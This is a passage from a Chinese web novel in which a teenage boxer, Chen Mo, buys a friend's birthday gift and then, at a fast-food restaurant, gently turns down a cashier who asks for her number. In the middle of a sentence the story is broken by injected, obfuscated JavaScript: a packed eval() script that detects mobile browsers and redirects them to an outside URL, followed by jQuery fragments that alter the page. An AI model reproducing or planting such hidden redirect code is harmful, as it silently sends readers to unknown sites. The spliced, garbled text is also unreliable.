四百出头。
陈漠在心里扣掉数字。一千减四百，还剩六百。六百块她可以塞三百进周秀兰的铁盒子，剩下的存进床垫下面。够她吃好几周的三明治，够她买十几卷绷带和两副新拳套。
她把蘸水笔套装和墨水也拿在手里，四样东西一起捧着，往收银台走。
总共四百一十二块三毛。
外套内侧的拉链口袋里掏出现金，她数了五张一百的递过去。店员接过钱的时候，目光在她的手指关节上停了一瞬。那是常年打沙袋和缠绷带磨出来的痕迹，指关节上的皮肤比别处粗糙，有淡淡的茧。店员找了零，四样东西分别包好，又裁了一张牛皮纸铺在柜台上，包好的东西放进店里标志性的深蓝色纸袋里，纸袋上印着Blick Art Materials的白色字样。
纸袋推给陈漠，店员笑了笑。
“你朋友会很开心的。这个牌子的蘸水笔，我学画画三年才舍得给自己买第一套。”
拎起纸袋，陈漠走出大门，风铃在身后又响了一声。
外面的天色已经全黑了，市中心的高楼幕墙上亮着星星点点的灯光，街灯把路面照成一片暖金色。她站在店门口，低头看了一眼手里的纸袋，深蓝色的纸袋在街灯下显得格外新，格外干净，和她这身灰扑扑的衣服完全不搭。
四百一十二块三毛的生日礼物。活了十六年花出去的最大一笔钱，她本来可以把这笔钱塞进床垫下面，把她离床垫下那个目标数字的距离缩短一大截。
但她现在拎着这个纸袋站在市中心的街灯下，发现自己没有任何后悔。
纸袋挂上共享单车的车把，往回骑。
骑到公交站牌的时候，她停了车，掏出手机，屏幕亮着，上面躺着三连串来自伊莎贝拉的消息。
Isabella López：你什么时候回来？
Isabella López：我哥今晚烤肉，爸在院子里生火，香得整条街都能闻见。我给你留了一份，用锡纸包着，你回来直接敲门。
Isabella López：不管你在忙什么，别空着肚子睡觉。
街灯照得手机屏幕有点反光，她擦了擦屏，回了一条。
Chen：两小时后到家。
发完手机揣进口袋，陈漠看了一眼站牌上的电子屏。下一班回第六街区的公交车预计8:20到站，现在才7:46，还有半个多小时。
共享单车推到站台旁边的停车架锁好，直起腰的时候，胃很合时宜地抽了一下。中午吃完那顿饭到现在，她只灌了半瓶运动饮料和一个巧克力派。
谈判、坐公交横穿半个城市，在美术用品店里精打细算，身体里的热量早就烧光了。
站台对面就是一排临街的快餐店，霓虹招牌在夜色里亮得热闹。一家是披萨店，门口贴着手写体的“一片$2.99”。一家是塔可钟，紫红色的招牌在街灯下泛着光。还有一家是Wendy''s，红色扎马尾的女孩头像在招牌上笑眯眯地看着她。
她选择了Wendy''s。不为别的，就因为那家店的灯最亮，玻璃窗最大，坐在里面能看到公交站台的电子屏。
推开玻璃门的时候，暖气和炸食物的油香同时扑过来。这家Wendy''s不大，七八张桌子，靠窗一排高脚椅。地板是黑白相间的方格子瓷砖，墙壁刷成奶白色，点餐台上方的电子菜单牌正滚动播放着新品汉堡的广告。店里零星坐着几个客人，一个穿着加油站工服的男人在角落啃薯条，一对年轻情侣挤在卡座里分享一杯奶昔。
柜台后面的女店员在陈漠推门进来的第一时间就抬起了头。
她看起来不到二十岁，浅棕色的头发扎成低马尾，几缕碎发别在耳后，戴着一顶深蓝色的Wendy''s鸭舌帽，帽檐下面是一张圆圆的娃娃脸，雀斑从鼻梁两侧撒到颧骨上，胸前的名牌上写着“Megan”。
梅根在这个店上了两年班，见过的客人比商场里的人体模特还多。市中心交界这一带，流浪汉、卡车司机、下夜班的护士、喝醉了闯进来闹事的混混，什么人都有。可眼前这个推门进来的亚裔女孩让她手里擦柜台的抹布停了两秒。
高。这是她的第一反应。这个女孩子真高，比大部分进店的男客人都高。
深灰色的运动立领外套，浅灰色棉质长裤，白色运动鞋。肩宽，腰窄，身材比例好得过分，不单薄，也不壮硕，肩线和腰线之间那道收束的弧度干净利落，腿长，腰身往上拔。肤色是浅浅的蜜，在日光灯下显得很健康，不白也不黑，介于两者之间，是太阳晒得很均匀的颜色。
头发刚到肩膀，扎成一个小小的马尾，用一根黑色皮筋绑着，有几缕碎发没扎进去，垂在耳朵边上，被风撩得微微打卷，刘海覆在额上，碎碎的，蓬蓬的，刚好停在睫毛上方。
然后是脸。
梅根见过的亚裔面孔不算少，眼前这张脸让她在心里骂了句感叹式的脏话“老天爷你认真的吗。”
五官轮廓很分明，眉眼间有股说不清道不明的深邃，鼻梁高挺，眉心到鼻尖的线条像是用刀削出来的，利落到没有任何多余的弧度。唇形清晰，上唇薄，下唇微厚，唇色是天然的淡红，嘴角抿着，天生的冷淡。最让梅根挪不开眼的是那双眼睛。丹凤眼，眼尾微微往上挑，瞳仁极黑，深处映着快餐店顶灯的白光，亮晶晶的，像淬了月光的刀锋。冷，利，却又让人挪不开眼。而她右眉骨上那道浅白的旧疤，刚好从眉峰中断的位置斜斜划过，把这张本就过分好看的脸劈出了一道冷厉的凶悍气。这疤放别人脸上是破相，放她脸上倒像是点睛之笔，所有的精致和漂亮都拉进了市井里，变成了故事。
柜台旁边的电子屏上滚动着“Baconator买一赠一”，梅根一个字都没看进去。
她见过好看的，这条街上的快餐店什么人都来，偶尔会有那种让人多看一眼的长相。可她从来没见过这种。
冷。
那种你明知道不该盯着看，看了可能会惹麻烦，就是控制不住自己会想多看两眼的冷。
而且这个人显然不知道自己长成这样有多离谱，站在柜台前面，双手插在口袋里，仰头看菜单，表情平淡。
她不知道自己在发光。
陈漠的视线从电子菜单上移下来，报了自己的选择：“一个Dave''s Single套餐，中份薯条，中杯雪碧。”
她的语速不快，咬字很准，每个单词之间有一个微不可查的停顿，像是在脑子里先把下一句翻译好了再说出口，声线偏低，不沙不哑，干净清冽。
和梅根预想的一模一样。
“名字？”梅根在收银屏上点了几下。名字。天哪。她想知道她的名字。
“陈漠。”
两个字母敲进去，梅根低头的时候发现自己的手指在屏幕上抖了一下。餐号打印出来，她递过去，“十二号，一会儿叫号。”
陈漠接过号码纸，外套口袋里摸出现金。梅根接过钞票，找零的时候手指碰到陈漠的指尖，指甲干净，指关节上有粗粝的茧，和那些细细碎碎新旧交叠的擦伤。
她找完零，陈漠转身往窗边的高脚椅走去。等她走远了，梅根探出身子，对后厨正在往炸锅里放薯条的另一个店员压低声音说了一句：“你看到刚才那个女生了吗？”
“哪个？”
“就那个，灰外套，高的那个。”
“哦，看到了，怎么了？”
“她长得太好看了。”梅根用抹布用力擦了两下柜台。
“那你问她电话啊。”
“你闭嘴。”
抹布往柜台上一摔，梅根转身往后厨的方向走了两步，又折回来，捡起抹布扔进水槽里，对着不锈钢面板上自己的倒影深吸了一口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546349|203371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气。
“你紧张什么，”后厨的同事探出头，手上戴着沾满面包屑的隔热手套，“她又不是什么明星，就是个来吃汉堡的。”
“我没紧张。”
“你脸都红了。”
“那是热的，炸锅的热气。”梅根往下压了压帽檐，挡住自己发烫的耳根。
后厨的计时器响了。
同事夹起汉堡，面包胚烤得微焦，牛肉饼还在滋滋冒油，生菜叶和番茄片码得整整齐齐。薯条从炸锅里捞出来，堆在红色塑料筐里，撒了一撮盐。中杯雪碧的杯盖啪地按上，整套餐盘推到出餐台上。
“十二号，”她念了一遍餐号，看着梅根，“你去送？”
“我送。”梅根已经端起了餐盘。
“你不是说柜台没人看……”
“你帮我看一下，一分钟。”梅根端着餐盘，用后背顶开出餐口的矮门，端着托盘穿过用餐区。
陈漠坐在窗边的高脚椅上。她选了最靠里的位置，背对着墙，面朝着门口和公交站台的方向。深蓝色的纸袋搁在旁边的高脚椅上，袋口微微敞开，露出里面牛皮纸包好的礼物。
梅根端着餐盘走到她面前的时候，陈漠正侧着头看窗外的公交电子屏。她转回头，看到是梅根餐盘端过来，顿了一下，伸手接过餐盘。
“谢谢。”
梅根站在高脚椅旁边，两只手交握在围裙前面，指尖绞着围裙的边缘。站了两秒，她从围裙口袋里掏出手机，手机壳是透明的，里面夹着一张手写的小卡片，字迹被磨得有些模糊了。
“那个，”梅根开口了，声音比在柜台后面的时候轻了不止一个度，“我叫梅根。我刚才在柜台那边就想问你，但那边有监控，经理会看回放。你的号码，能不能给我一个？我是说，如果你方便的话。”
“或者你有Instagram吗？WhatsApp也行。”
她补了一句，雀斑在她泛红的脸颊上显得更明显了。
陈漠的手顿住了，叉齿上还戳着一根薯条。
她看着眼前这个戴鸭舌帽的白人女孩，看着她手里攥得死紧的手机，看着她帽檐下面那双蓝灰色眼睛里明晃晃的期待。
她在学校走廊里被高年级女生用眼神追着看的时候也没反应过来，在韩裔便利店里被老板娘用韩语调侃“????”的时候没反应过来。
这一次她反应过来了。
梅根的表达方式太直白了，直白到和前几天伊莎贝拉站在她面前说“我是拉拉”的时候如出一辙。
这个世界上喜欢女生的人，比她想象的要多得多。
她垂下眼睛看着薯条，在心里把接下来要说的话翻了一遍。英文。直接。礼貌。不伤人。伊莎贝拉在便利店里跟她说“你喜欢我”的时候，她在脑子里翻来覆去地找词，最后才挤出来一句“我不太确定自己是什么”。
她现在确定了。
她需要让别人知道她确定了。
“我……”叉子搁在餐盘边上，她抬起眼看着梅根，“对不起，我已经有女朋友了。”
这句话从嘴里说出来的时候，比她预想的要顺畅得多。
“Oh.Okay. Yeah, that makes sense。”手机塞回围裙口袋里，梅根往后退了一步，“我的意思是，你这样的人，肯定已经有人抢先了。我刚才只是想碰碰运气。”
“抱歉。”陈漠说，声音比平时轻了一些，语气里带着一点她自己也说不清的歉意，她不太习惯拒绝女人。
“不用道歉，”梅根摆了摆手，“你又没做错什么。你甚至都没说过你是单身，我自己上来问的，你就当是付了晚餐消费的额外小费吧。”
说完她转身往回走，走了两步又回过头来，手指了指陈漠面前的餐盘：“薯条趁热吃。要番茄酱的话柜台旁边有自助的，不用另外加钱。”